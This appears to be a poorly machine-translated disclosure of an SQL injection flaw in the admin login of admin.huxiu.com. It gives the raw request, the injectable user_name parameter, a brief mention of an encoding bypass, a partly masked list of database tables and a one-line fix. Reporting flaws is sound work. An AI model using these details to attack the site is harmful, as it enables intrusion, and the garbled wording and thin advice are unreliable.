Attackers can bypass the tiger sniffing network to continue SQL injection.

Attackers can bypass the tiger sniffing network to continue SQL injection.

Attackers can bypass the tiger sniffing network and continue SQL injection.

The subdomain name admin.huxiu.com of the tiger sniffing network. The user_name parameter has been injected.

The server imposes restrictions and must bypass injection.

POST/index. php/admin/main/login HTTP/1.1

Host: admin.huxiu.com

Proxy-Connection: keep-alive

Content-Length: 165

Accept :*/*

Origin: http://admin.huxiu.com

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset = UTF-8

Referer: http://admin.huxiu.com/index.php/admin/login

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh; q = 0.8

Cookie: hm_lvt_324da-ef52596457d064ca5db8c6618e = 1426394622; hm_lpvt_324366ef52596457d064ca5db8c6618e = 1426394727; ci_session = a % 3A5% 3A % 7Bs % 3A10% 3A % 22session_id % 22% 3Bs % 3A32% 3A % large % 22% 3Bs % 3A10% 3A % 22ip_address % 22% 3Bs % 3A12% 3A % 2210.159.61.47% 22% 3Bs % 3A10% 3A % 22user_agent % 22% 3Bs % 3A108% 3A % 22 Mozilla % 2F5. 0 + % 28 Windows + NT + 6.1% 3B + WOW64 % 29 + AppleWebKit % 2F537. 36 + % 28 KHTML % 2C + like + Gecko % 29 + Chrome % 2F41. 0.2272.89 + Safari % 2F537. 36% 22% 3Bs % 3A13% 3A % 22last_activity % 22% 3Bi % 3A1426395425% 3Bs % 3A9% 3A % 22user_data % 22% 3Bs % 3A0% 3A % 22% 3B % timeout; SERVERID = d5411611194bb4b166c206297d72843f | 1426395425 | 1426394627; cc = 20150117763f0f7217ccd794c627a999a98f2a52



Opt = ajax & user_name = admin & user_pass = admin



Injection parameter user_name (encoding bypass protection)



Database: huxiuen

[161 tables]

+ ---------------------------------------

| Pre_aid_tagid

| Pre_article_att

Mask Region

  
   *****me*****
  

Nt

| Pre_article_a

Mask Region

  
   *****nt_2*****
  

101bak

| Pre_article_block

| Pre_article_block_item

| Pre_article_books_info

| Pre_article_books_info_url

| Pre_article_category

| Pre_article_comments

| Pre_article_comments_recomment

| Pre_article_comments_recomment_bak

| Pre_article_content

| Pre_article_content_20141101bak

| Pre_article_content_201501__bak

| Pre_article_count

| Pre_article_edit_log

| Pre_article_edit_log_20141101bak

| Pre_article_products_info

| Pre_article_products_info_20141101bak

| Pre_article_related

| Pre_article_title

| Pre_article_title_20141101bak

| Pre_article_view_log

| Pre_common_block

| Pre_common_block_item

| Pre_common_block_item_data

| Pre_common_credit_log_20141101bak

| Pre_common_credit_rule

| Pre_common_friendlink

| Pre_common_member

| Pre_common_member_profile

| Pre_common_member_status

| Pre_common_report

| Pre_common_setting

| Pre_common_syscache

| Pre_common_tag

| Pre_common_tagitem

| Pre_common_tools_share

| Pre_email_list

| Pre_forum_post_bak

| Pre_forum_thread

| Pre_group_categories

| Pre_group_comments

| Pre_group_forums

| Pre_group_masters

| Pre_group_configurications

| Pre_group_section_apply

| Pre_group_tags

| Pre_group_tags_relation

| Pre_group_zan_log

| Pre_home_clickuser

| Pre_home_favorite

| Pre_home_notification

| Pre_huxiu_activity

| Pre_huxiu_ad

| Pre_huxiu_aliyun_search_log

| Pre_huxiu_annual_address

| Pre_huxiu_anthology

| Pre_huxiu_anthology_article

| Pre_huxiu_anthology_comment

| Pre_huxiu_anthology_count

| Pre_huxiu_anthology_like_result

| Pre_huxiu_anthology_subtasks

| Pre_huxiu_anthology_tagid

| Pre_huxiu_article_draft_content

| Pre_huxiu_article_draft_title

| Pre_huxiu_article_ignore

| Pre_huxiu_article_reason

| Pre_huxiu_article_view_count

| Pre_huxiu_author

| Pre_huxiu_blessing

| Pre_huxiu_credits_log

| Pre_huxiu_data_alexa

| Pre_huxiu_data_app

| Pre_huxiu_data_weixin_aritlce

| Pre_huxiu_data_weixin_user

| Pre_huxiu_data_zhaoping

| Pre_huxiu_fm_qrcode

| Pre_huxiu_fm_qrcode_201409

| Pre_huxiu_fm_qrcode_201502

| Pre_huxiu_huodong

| Pre_huxiu_huodong_baoming

| Pre_huxiu_huodong_comment

| Pre_huxiu_huodong_comments_recomment

| Pre_huxiu_huodong_data

| Pre_huxiu_huodong_view_log

| Pre_huxiu_jinju

| Pre_huxiu_jubao

| Pre_huxiu_jubaodata

| Pre_huxiu_jumpto_log

| Pre_huxiu_l

Mask Region

  
   *****g*****
  

_ Company

| Pre_huxiu_l

Mask Region

  
   *****g*****
  

_ Job

| Pre_huxiu_later_read

| Pre_huxiu_qr_tickets

| Pre_huxiu_status_info

| Pre_huxiu_tag

| Pre_huxiu_tagitem

| Pre_huxiu_weixin_share

| Pre_huxiu_word_backlist

| Pre_huxiu_word_backlist_log

| Pre_huxiu_xiuping

| Pre_liepin_jobs

| Pre_maidian

| Pre_mobile_baidu

| Pre_open_ad

| Pre_open_article

| Pre_open_cooperator

| Pre_open_group

| Pre_open_purview

| Pre_open_user

| Pre_open_user_group

| Pre_q

Mask Region

  
   *****n*****
  

U_aid

| Pre_shop_cart

| Pre_shop_goods

| Pre_shop_order

| Pre_shop_order_detail

| Pre_shop_ticket

| Pre_sina_weibo_comment

| Pre_sonos_data

| Pre_tags

| Pre_user_sub_tags

| Pre_ww *** _ game

| Pre_w *** _ game_ask

| Pre_w *** n_game_user

| Pre_w *** _ huche_keywords

| Pre_w *** _ lottery

| Pre_w *** _ msg

| Pre_w *** _ msg_event

| Pre_w *** _ msg_image

| Pre_w *** _ msg_link

| Pre_w *** _ msg_location

| Pre_w *** n_msg_text

| Pre_w *** _ msg_video

| Pre_w *** _ msg_voice

| Pre_w *** _ server_msg_event

| Pre_w *** _ server_msg_history

| Pre_w *** _ server_msg_image

| Pre_ww *** n_server_msg_link

| Pre_w *** n_server_msg_location

| Pre_w *** _ server_msg_text

| Pre_w *** n_server_msg_video

| Pre_w *** n_server_msg_voice

| Pre_w *** _ server_user_stat

| Pre_w *** _ user_stat

| Pre _

Mask Region

  
   *****us*****
  

_ Poll

| Pre_x *** _ poll_item

| Pre_x ** oll_option

| Pre_x *** _ poll_profile

| Pre_x *** _ poll_result

| Pre_x *** s_vote

| Pre_x *** ss_vote_choice

| Pre_x *** s_vote_field

| Pre_x *** s_vote_value

| Pre _

Mask Region

  
   *****w*****
  

_ Bind_info

| Pre _

Mask Region

  
   *****w*****
  

_ Bind_thread

| Pre _

Mask Region

  
   *****w*****
  

_ Session

| Pre _

Mask Region

  
   *****w*****
  

_ Temp

| Pre_zhuanti

| Pre_zhuanti_comment

| Pre_zhuanti_extend

| Pre_zhuanti_fenlei

 

Solution:

Please strengthen the Filtering Policy